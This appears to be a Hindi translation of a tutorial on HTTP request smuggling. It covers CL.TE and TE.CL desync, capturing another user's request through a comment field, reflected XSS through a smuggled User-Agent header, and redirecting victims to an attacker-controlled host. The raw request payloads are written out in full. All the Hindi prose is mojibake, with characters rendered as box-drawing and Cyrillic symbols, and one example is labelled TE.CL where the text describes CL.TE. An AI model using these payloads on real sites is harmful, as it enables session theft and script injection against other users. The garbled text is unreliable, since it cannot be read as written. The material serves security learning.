In CL.TE рд╣рдорд▓реЗ рдореЗрдВ, рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдЕрдиреБрд░реЛрдз рдХреЗ рд▓рд┐рдП Content-Length рд╣реЗрдбрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрдмрдХрд┐ рдмрд╛рдж рдореЗрдВ рдПрдореНрдмреЗрдбреЗрдб рдЕрдиреБрд░реЛрдз Transfer-Encoding: chunked рд╣реЗрдбрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред рдлреНрд░рдВрдЯ-рдПрдВрдб рдкреНрд░реЙрдХреНрд╕реА рдкреНрд░рд╛рд░рдВрднрд┐рдХ POST рдЕрдиреБрд░реЛрдз рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рддреА рд╣реИ рд▓реЗрдХрд┐рди рдПрдореНрдмреЗрдбреЗрдб GET /admin рдЕрдиреБрд░реЛрдз рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдореЗрдВ рд╡рд┐рдлрд▓ рд░рд╣рддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ /admin рдкрде рддрдХ рдЕрдирдзрд┐рдХреГрдд рдкрд╣реБрдВрдЪ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред

TE.CL рдЙрджрд╛рд╣рд░рдг

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

рдЗрд╕рдХреЗ рд╡рд┐рдкрд░реАрдд, TE.CL рд╣рдорд▓реЗ рдореЗрдВ, рдкреНрд░рд╛рд░рдВрднрд┐рдХ POST рдЕрдиреБрд░реЛрдз Transfer-Encoding: chunked рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдЗрд╕рдХреЗ рдмрд╛рдж рдХрд╛ рдПрдореНрдмреЗрдбреЗрдб рдЕрдиреБрд░реЛрдз Content-Length рд╣реЗрдбрд░ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред CL.TE рд╣рдорд▓реЗ рдХреЗ рд╕рдорд╛рди, рдлреНрд░рдВрдЯ-рдПрдВрдб рдкреНрд░реЙрдХреНрд╕реА рд╕реНрдордЧрд▓реНрдб GET /admin рдЕрдиреБрд░реЛрдз рдХреЛ рдирдЬрд░рдЕрдВрджрд╛рдЬ рдХрд░ рджреЗрддреА рд╣реИ, рдЕрдирдЬрд╛рдиреЗ рдореЗрдВ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд /admin рдкрде рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИред

рдлреНрд░рдВрдЯ-рдПрдВрдб рдЕрдиреБрд░реЛрдз рдкреБрдирд░реНрд▓реЗрдЦрди рдХрд╛ рдЦреБрд▓рд╛рд╕рд╛

рдРрдкреНрд▓рд┐рдХреЗрд╢рди рдЕрдХреНрд╕рд░ рдПрдХ рдлреНрд░рдВрдЯ-рдПрдВрдб рд╕рд░реНрд╡рд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдЖрдиреЗ рд╡рд╛рд▓реЗ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдЗрд╕рд╕реЗ рдкрд╣рд▓реЗ рдХрд┐ рдЙрдиреНрд╣реЗрдВ рдмреИрдХ-рдПрдВрдб рд╕рд░реНрд╡рд░ рдХреЛ рднреЗрдЬрд╛ рдЬрд╛рдПред рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рд╕рдВрд╢реЛрдзрди рдореЗрдВ рд╣реЗрдбрд░ рдЬреЛрдбрд╝рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реЛрддрд╛ рд╣реИ, рдЬреИрд╕реЗ X-Forwarded-For: <IP of the client> рддрд╛рдХрд┐ рдХреНрд▓рд╛рдЗрдВрдЯ рдХрд╛ IP рдмреИрдХ-рдПрдВрдб рдХреЛ рднреЗрдЬрд╛ рдЬрд╛ рд╕рдХреЗред рдЗрди рд╕рдВрд╢реЛрдзрдиреЛрдВ рдХреЛ рд╕рдордЭрдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рд╕реБрд░рдХреНрд╖рд╛рдУрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдпрд╛ рдЫрд┐рдкреА рд╣реБрдИ рдЬрд╛рдирдХрд╛рд░реА рдпрд╛ рдПрдВрдбрдкреЙрдЗрдВрдЯреНрд╕ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рдиреЗ рдХреЗ рддрд░реАрдХреЗ рдкреНрд░рдХрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИред

рдпрд╣ рдЬрд╛рдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдкреНрд░реЙрдХреНрд╕реА рдПрдХ рдЕрдиреБрд░реЛрдз рдХреЛ рдХреИрд╕реЗ рдмрджрд▓рддреА рд╣реИ, рдПрдХ POST рдкреИрд░рд╛рдореАрдЯрд░ рдЦреЛрдЬреЗрдВ рдЬрд┐рд╕реЗ рдмреИрдХ-рдПрдВрдб рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдкреНрд░рддрд┐рдзреНрд╡рдирд┐рдд рдХрд░рддрд╛ рд╣реИред рдлрд┐рд░, рдЗрд╕ рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдПрдХ рдЕрдиреБрд░реЛрдз рддреИрдпрд╛рд░ рдХрд░реЗрдВ, рдЗрд╕реЗ рдЕрдВрддрд┐рдо рд╕реНрдерд╛рди рдкрд░ рд░рдЦрддреЗ рд╣реБрдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреЗ рд╕рдорд╛рди:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

рдЗрд╕ рд╕рдВрд░рдЪрдирд╛ рдореЗрдВ, рдмрд╛рдж рдХреЗ рдЕрдиреБрд░реЛрдз рдШрдЯрдХ search= рдХреЗ рдмрд╛рдж рдЬреЛрдбрд╝реЗ рдЬрд╛рддреЗ рд╣реИрдВ, рдЬреЛ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдкрд░рд┐рд▓рдХреНрд╖рд┐рдд рд╣реЛрдиреЗ рд╡рд╛рд▓рд╛ рдкреИрд░рд╛рдореАрдЯрд░ рд╣реИред рдпрд╣ рдкрд░рд┐рд▓рдХреНрд╖рдг рдмрд╛рдж рдХреЗ рдЕрдиреБрд░реЛрдз рдХреЗ рд╣реЗрдбрд░ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░реЗрдЧрд╛ред

рдпрд╣ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ рдиреЗрд╕реНрдЯреЗрдб рдЕрдиреБрд░реЛрдз рдХреЗ Content-Length рд╣реЗрдбрд░ рдХреЛ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд╕рд╛рдордЧреНрд░реА рдХреА рд▓рдВрдмрд╛рдИ рдХреЗ рд╕рд╛рде рд╕рдВрд░реЗрдЦрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПред рдЫреЛрдЯреЗ рдорд╛рди рд╕реЗ рд╢реБрд░реВ рдХрд░рдирд╛ рдФрд░ рдзреАрд░реЗ-рдзреАрд░реЗ рдмрдврд╝рд╛рдирд╛ рд╕рд▓рд╛рд╣рдХрд╛рд░ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдмрд╣реБрдд рдХрдо рдорд╛рди рдкрд░рд┐рд▓рдХреНрд╖рд┐рдд рдбреЗрдЯрд╛ рдХреЛ рдХрд╛рдЯ рджреЗрдЧрд╛, рдЬрдмрдХрд┐ рдмрд╣реБрдд рдЙрдЪреНрдЪ рдорд╛рди рдЕрдиреБрд░реЛрдз рдХреЛ рддреНрд░реБрдЯрд┐ рдореЗрдВ рдбрд╛рд▓ рд╕рдХрддрд╛ рд╣реИред

рдпрд╣ рддрдХрдиреАрдХ TE.CL рднреЗрджреНрдпрддрд╛ рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ рднреА рд▓рд╛рдЧреВ рд╣реЛрддреА рд╣реИ, рд▓реЗрдХрд┐рди рдЕрдиреБрд░реЛрдз рдХреЛ search=\r\n0 рдХреЗ рд╕рд╛рде рд╕рдорд╛рдкреНрдд рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред рдирдИ рд▓рд╛рдЗрди рдХреЗ рдЕрдХреНрд╖рд░реЛрдВ рдХреА рдкрд░рд╡рд╛рд╣ рдХрд┐рдП рдмрд┐рдирд╛, рдорд╛рди рдЦреЛрдЬ рдкреИрд░рд╛рдореАрдЯрд░ рдореЗрдВ рдЬреЛрдбрд╝реЗ рдЬрд╛рдПрдВрдЧреЗред

рдпрд╣ рд╡рд┐рдзрд┐ рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рдлреНрд░рдВрдЯ-рдПрдВрдб рдкреНрд░реЙрдХреНрд╕реА рджреНрд╡рд╛рд░рд╛ рдХрд┐рдП рдЧрдП рдЕрдиреБрд░реЛрдз рд╕рдВрд╢реЛрдзрдиреЛрдВ рдХреЛ рд╕рдордЭрдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИ, рдЬреЛ рдореВрд▓ рд░реВрдк рд╕реЗ рдПрдХ рдЖрддреНрдо-рдирд┐рд░реНрджреЗрд╢рд┐рдд рдЬрд╛рдВрдЪ рдХрд░ рд░рд╣реА рд╣реИред

рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдХреИрдкреНрдЪрд░ рдХрд░рдирд╛

рдпрд╣ рдЕрдЧрд▓реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдХреИрдкреНрдЪрд░ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рдПрдХ POST рдСрдкрд░реЗрд╢рди рдХреЗ рджреМрд░рд╛рди рдПрдХ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рдорд╛рди рдХреЗ рд░реВрдк рдореЗрдВ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдЕрдиреБрд░реЛрдз рдХреЛ рдЬреЛрдбрд╝рдХрд░ред рдЗрд╕реЗ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЕрдиреБрд░реЛрдз рдХреЛ рдПрдХ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЗ рдорд╛рди рдХреЗ рд░реВрдк рдореЗрдВ рдЬреЛрдбрд╝рдХрд░, рдЖрдк рдЕрдЧрд▓реЗ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЗ рдЕрдиреБрд░реЛрдз рдХреЛ рд╕реНрдЯреЛрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

рдЗрд╕ рдкрд░рд┐рджреГрд╢реНрдп рдореЗрдВ, comment parameter рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп рдПрдХ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд░реВрдк рд╕реЗ рд╕реБрд▓рдн рдкреГрд╖реНрда рдкрд░ рдПрдХ рдкреЛрд╕реНрдЯ рдХреА рдЯрд┐рдкреНрдкрдгреА рдЕрдиреБрднрд╛рдЧ рдореЗрдВ рд╕рд╛рдордЧреНрд░реА рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдирд╛ рд╣реИред рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рдЕрдЧрд▓реЗ рдЕрдиреБрд░реЛрдз рдХреА рд╕рд╛рдордЧреНрд░реА рдПрдХ рдЯрд┐рдкреНрдкрдгреА рдХреЗ рд░реВрдк рдореЗрдВ рджрд┐рдЦрд╛рдИ рджреЗрдЧреАред

рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЗрд╕ рддрдХрдиреАрдХ рдХреА рд╕реАрдорд╛рдПрдБ рд╣реИрдВред рд╕рд╛рдорд╛рдиреНрдпрддрдГ, рдпрд╣ рдХреЗрд╡рд▓ рдЙрд╕ рдкреИрд░рд╛рдореАрдЯрд░ рдбреЗрд▓рд┐рдорд┐рдЯрд░ рддрдХ рдбреЗрдЯрд╛ рдХреИрдкреНрдЪрд░ рдХрд░рддрд╛ рд╣реИ рдЬреЛ рд╕реНрдордЧрд▓реНрдб рдЕрдиреБрд░реЛрдз рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред URL-encoded рдлреЙрд░реНрдо рд╕рдмрдорд┐рд╢рди рдХреЗ рд▓рд┐рдП, рдпрд╣ рдбреЗрд▓рд┐рдорд┐рдЯрд░ & рд╡рд░реНрдг рд╣реИред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдкреАрдбрд╝рд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдЕрдиреБрд░реЛрдз рд╕реЗ рдХреИрдкреНрдЪрд░ рдХреА рдЧрдИ рд╕рд╛рдордЧреНрд░реА рдкрд╣рд▓реЗ & рдкрд░ рд░реБрдХ рдЬрд╛рдПрдЧреА, рдЬреЛ рдХрд┐ рдХреНрд╡реЗрд░реА рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛ рднреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИред

рдЗрд╕рдХреЗ рдЕрддрд┐рд░рд┐рдХреНрдд, рдпрд╣ рдзреНрдпрд╛рди рджреЗрдиреЗ рдпреЛрдЧреНрдп рд╣реИ рдХрд┐ рдпрд╣ рджреГрд╖реНрдЯрд┐рдХреЛрдг TE.CL рднреЗрджреНрдпрддрд╛ рдХреЗ рд╕рд╛рде рднреА рд╡реНрдпрд╡рд╣рд╛рд░реНрдп рд╣реИред рдРрд╕реЗ рдорд╛рдорд▓реЛрдВ рдореЗрдВ, рдЕрдиреБрд░реЛрдз рдХреЛ search=\r\n0 рдХреЗ рд╕рд╛рде рд╕рдорд╛рдкреНрдд рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред рдирдИ рд▓рд╛рдЗрди рд╡рд░реНрдгреЛрдВ рдХреА рдкрд░рд╡рд╛рд╣ рдХрд┐рдП рдмрд┐рдирд╛, рдорд╛рдиреЛрдВ рдХреЛ рдЦреЛрдЬ рдкреИрд░рд╛рдореАрдЯрд░ рдореЗрдВ рдЬреЛрдбрд╝рд╛ рдЬрд╛рдПрдЧрд╛ред

HTTP request smuggling рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рддрд┐рдмрд┐рдВрдмрд┐рдд XSS рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдирд╛

HTTP Request Smuggling рдХрд╛ рдЙрдкрдпреЛрдЧ рдЙрди рд╡реЗрдм рдкреГрд╖реНрдареЛрдВ рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ Reflected XSS рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИрдВ, рдЬреЛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд▓рд╛рдн рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ:

  • рд▓рдХреНрд╖рд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд╕рд╛рде рд╕рдВрд╡рд╛рдж рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реИред

  • рдЕрдиреБрд░реЛрдз рдХреЗ рдЙрди рд╣рд┐рд╕реНрд╕реЛрдВ рдореЗрдВ XSS рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдЬреЛ рд╕рд╛рдорд╛рдиреНрдпрддрдГ рдЕрдкреНрд░рд╛рдкреНрдп рд╣реЛрддреЗ рд╣реИрдВ, рдЬреИрд╕реЗ HTTP рдЕрдиреБрд░реЛрдз рд╣реЗрдбрд░ред

рдЙрди рдкрд░рд┐рджреГрд╢реНрдпреЛрдВ рдореЗрдВ рдЬрд╣рд╛рдВ рдПрдХ рд╡реЗрдмрд╕рд╛рдЗрдЯ User-Agent рд╣реЗрдбрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рддрд┐рдмрд┐рдВрдмрд┐рдд XSS рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИ, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкреЗрд▓реЛрдб рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХрд╛ рддрд░реАрдХрд╛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИ:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

рдпрд╣ рдкреЗрд▓реЛрдб рдЗрд╕ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрд░рдЪрд┐рдд рд╣реИ:

  1. рдПрдХ POST рдЕрдиреБрд░реЛрдз рд╢реБрд░реВ рдХрд░рдирд╛, рдЬреЛ рд╕рд╛рдорд╛рдиреНрдп рдкреНрд░рддреАрдд рд╣реЛрддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ Transfer-Encoding: chunked рд╣реЗрдбрд░ рд╣реЛрддрд╛ рд╣реИ рдЬреЛ рд╕реНрдордЧрд▓рд┐рдВрдЧ рдХреА рд╢реБрд░реБрдЖрдд рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИред

  2. рдЗрд╕рдХреЗ рдмрд╛рдж рдПрдХ 0 рдЖрддрд╛ рд╣реИ, рдЬреЛ рдЪрдВрдХ рдХрд┐рдП рдЧрдП рд╕рдВрджреЗрд╢ рдХреЗ рд╢рд░реАрд░ рдХреЗ рдЕрдВрдд рдХреЛ рдЪрд┐рд╣реНрдирд┐рдд рдХрд░рддрд╛ рд╣реИред

  3. рдлрд┐рд░, рдПрдХ рд╕реНрдордЧрд▓ рдХрд┐рдпрд╛ рдЧрдпрд╛ GET рдЕрдиреБрд░реЛрдз рдкреЗрд╢ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд╣рд╛рдВ User-Agent рд╣реЗрдбрд░ рдореЗрдВ рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ, <script>alert(1)</script>, рдЗрдВрдЬреЗрдХреНрдЯ рдХреА рдЬрд╛рддреА рд╣реИ, рдЬреЛ рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рдЗрд╕ рдмрд╛рдж рдХреЗ рдЕрдиреБрд░реЛрдз рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рддреЗ рд╕рдордп XSS рдХреЛ рдЯреНрд░рд┐рдЧрд░ рдХрд░рддреА рд╣реИред

User-Agent рдХреЛ рд╕реНрдордЧрд▓рд┐рдВрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╣реЗрд░рдлреЗрд░ рдХрд░рдХреЗ, рдкреЗрд▓реЛрдб рд╕рд╛рдорд╛рдиреНрдп рдЕрдиреБрд░реЛрдз рд╕реАрдорд╛рдУрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рддрд╛ рд╣реИ, рдЗрд╕ рдкреНрд░рдХрд╛рд░ рдПрдХ рдЧреИрд░-рдорд╛рдирдХ рд▓реЗрдХрд┐рди рдкреНрд░рднрд╛рд╡реА рддрд░реАрдХреЗ рд╕реЗ Reflected XSS рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддрд╛ рд╣реИред

HTTP/0.9

рдпрджрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рд╕рд╛рдордЧреНрд░реА рдПрдХ Content-type рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдкрд░рд┐рд▓рдХреНрд╖рд┐рдд рд╣реЛрддреА рд╣реИ рдЬреИрд╕реЗ text/plain, рддреЛ XSS рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рд░реЛрдХрддрд╛ рд╣реИред рдпрджрд┐ рд╕рд░реНрд╡рд░ HTTP/0.9 рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ рддреЛ рдЗрд╕реЗ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ!

рд╕рдВрд╕реНрдХрд░рдг HTTP/0.9 рдкрд╣рд▓реЗ 1.0 рд╕реЗ рдерд╛ рдФрд░ рдХреЗрд╡рд▓ GET рдХреНрд░рд┐рдпрд╛рдУрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдФрд░ рд╣реЗрдбрд░ рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдирд╣реАрдВ рдХрд░рддрд╛, рдХреЗрд╡рд▓ рд╢рд░реАрд░ рдХреЗ рд╕рд╛рдеред

рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ, рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдПрдХ рдЕрдиреБрд░реЛрдз рд╕реНрдордЧрд▓рд┐рдВрдЧ рдФрд░ рдПрдХ рдХрдордЬреЛрд░ рдПрдВрдбрдкреЙрдЗрдВрдЯ рдХреЗ рд╕рд╛рде рдХрд┐рдпрд╛ рдЧрдпрд╛ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдЗрдирдкреБрдЯ рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рджреЗрдЧрд╛ HTTP/0.9 рдХреЗ рд╕рд╛рде рдПрдХ рдЕрдиреБрд░реЛрдз рдХреЛ рд╕реНрдордЧрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдкрд░рд┐рд▓рдХреНрд╖рд┐рдд рд╣реЛрдиреЗ рд╡рд╛рд▓рд╛ рдкреИрд░рд╛рдореАрдЯрд░ рдПрдХ рдирдХрд▓реА HTTP/1.1 рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ (рд╣реЗрдбрд░ рдФрд░ рд╢рд░реАрд░ рдХреЗ рд╕рд╛рде) рдерд╛ рддрд╛рдХрд┐ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ text/html рдХреЗ Content-Type рдХреЗ рд╕рд╛рде рдорд╛рдиреНрдп рдирд┐рд╖реНрдкрд╛рджрди рдпреЛрдЧреНрдп JS рдХреЛрдб рд╢рд╛рдорд┐рд▓ рд╣реЛ рд╕рдХреЗред

HTTP рдЕрдиреБрд░реЛрдз рд╕реНрдордЧрд▓рд┐рдВрдЧ рдХреЗ рд╕рд╛рде рдСрди-рд╕рд╛рдЗрдЯ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯреНрд╕ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдирд╛

рдРрдкреНрд▓рд┐рдХреЗрд╢рди рдЕрдХреНрд╕рд░ Host рд╣реЗрдбрд░ рд╕реЗ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ URL рдореЗрдВ рд╣реЛрд╕реНрдЯрдиреЗрдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ URL рд╕реЗ рджреВрд╕рд░реЗ URL рдкрд░ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХрд░рддреЗ рд╣реИрдВред рдпрд╣ Apache рдФрд░ IIS рдЬреИрд╕реЗ рд╡реЗрдм рд╕рд░реНрд╡рд░реЛрдВ рдХреЗ рд╕рд╛рде рд╕рд╛рдорд╛рдиреНрдп рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдмрд┐рдирд╛ рдЯреНрд░реЗрд▓рд┐рдВрдЧ рд╕реНрд▓реИрд╢ рдХреЗ рдПрдХ рдлрд╝реЛрд▓реНрдбрд░ рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рдкрд░ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рд╣реЛрддрд╛ рд╣реИ рддрд╛рдХрд┐ рд╕реНрд▓реИрд╢ рд╢рд╛рдорд┐рд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ:

GET /home HTTP/1.1
Host: normal-website.com

рдкрд░рд┐рдгрд╛рдо рдореЗрдВ:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

рд╣рд╛рд▓рд╛рдВрдХрд┐ рдпрд╣ рд╡реНрдпрд╡рд╣рд╛рд░ рд╣рд╛рдирд┐рд░рд╣рд┐рдд рдкреНрд░рддреАрдд рд╣реЛрддрд╛ рд╣реИ, рдЗрд╕реЗ HTTP request smuggling рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдПрдХ рдмрд╛рд╣рд░реА рд╕рд╛рдЗрдЯ рдкрд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реЗрд░рдлреЗрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

рдпрд╣ рд╕реНрдордЧрд▓ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдЕрдиреБрд░реЛрдз рдЕрдЧрд▓реЗ рд╕рдВрд╕рд╛рдзрд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдиреБрд░реЛрдз рдХреЛ рдПрдХ рд╣рдорд▓рд╛рд╡рд░-рдирд┐рдпрдВрддреНрд░рд┐рдд рд╡реЗрдмрд╕рд╛рдЗрдЯ рдкрд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ:

GET /home HTTP/1.1
Host: attacker-website.com
